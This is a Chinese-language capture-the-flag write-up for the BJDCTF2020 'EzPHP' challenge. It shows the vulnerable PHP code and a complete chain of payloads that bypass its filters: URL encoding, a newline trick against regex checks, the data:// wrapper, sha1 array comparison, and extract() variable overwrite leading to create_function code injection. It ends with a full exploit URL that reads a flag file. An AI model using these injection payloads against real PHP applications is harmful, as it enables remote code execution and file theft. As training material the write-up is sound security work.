[BJDCTF2020]EzPHP

说明这里就有flag有关的东西

base32解密

1nD3x.php

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?> 

第一个限制

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

因为$_SERVER[‘QUERY_STRING’]不会url解码，可以通过url编码绕过

第二个限制

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

preg_match值匹配第一行，句尾加上%0a进行绕过，绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。
payload：dedu=aqua_is_cute%0a
第三个限制

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST方式接收请求的优先级别默认情况下先接受POST，所以在get的同时post数字就可以了。
payload：POST：debu=1&file=2
第四个限制

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里利用data协议即可：file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
与此同时file也需要被post一下。

第五个限制

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

因为sha1无法处理数组，当sha1()的参数为数组，就会返回false，所以可用数组绕过
payload：shana[]=1&passwd[]=2

第六个限制

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

这里用到了create_function()代码注入
create_function()函数有两个参数$args和$code，用于创建一个lambda样式的函数

例如：$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于：

function myfunc($a, $b){
    return $a+$b;
}    

当第二个参数无限制时：

$code=return $a+$b;}eval($_POST['cmd']);//

就会变成：

function myfunc($a, $b){
    return $a+$b;
}
eval($_POST['cmd']);//}  

上一阶段sha1比较的过程中，extract($_GET["flag"]);这里我们可以进行变量覆盖，从而掌控住arg变量与code变量。
同时根据上面的可以通过闭合符号来执行自己定义的函数：

&flag[arg]=}a();//&flag[code]=create_function

拼接过后就应该是：

function {}a();//}

这个a我们是可以随时改成其他的函数的。
但是此时很多函数都被禁用了，文件中包含了flag这个文件，利用get_defined_vars()将所有变量与值都进行输出，此时payload就为：

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

输出出来但还不是真正的flag，提示是在另一个文件里面，flag4.php，此时可以利用require，来代替include，利用base64编码绕过flag的过滤，利用require()来代替require" "。

http://a9f790f1-3df5-4d89-9a4e-7c778bc45274.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23

debu=1&file=1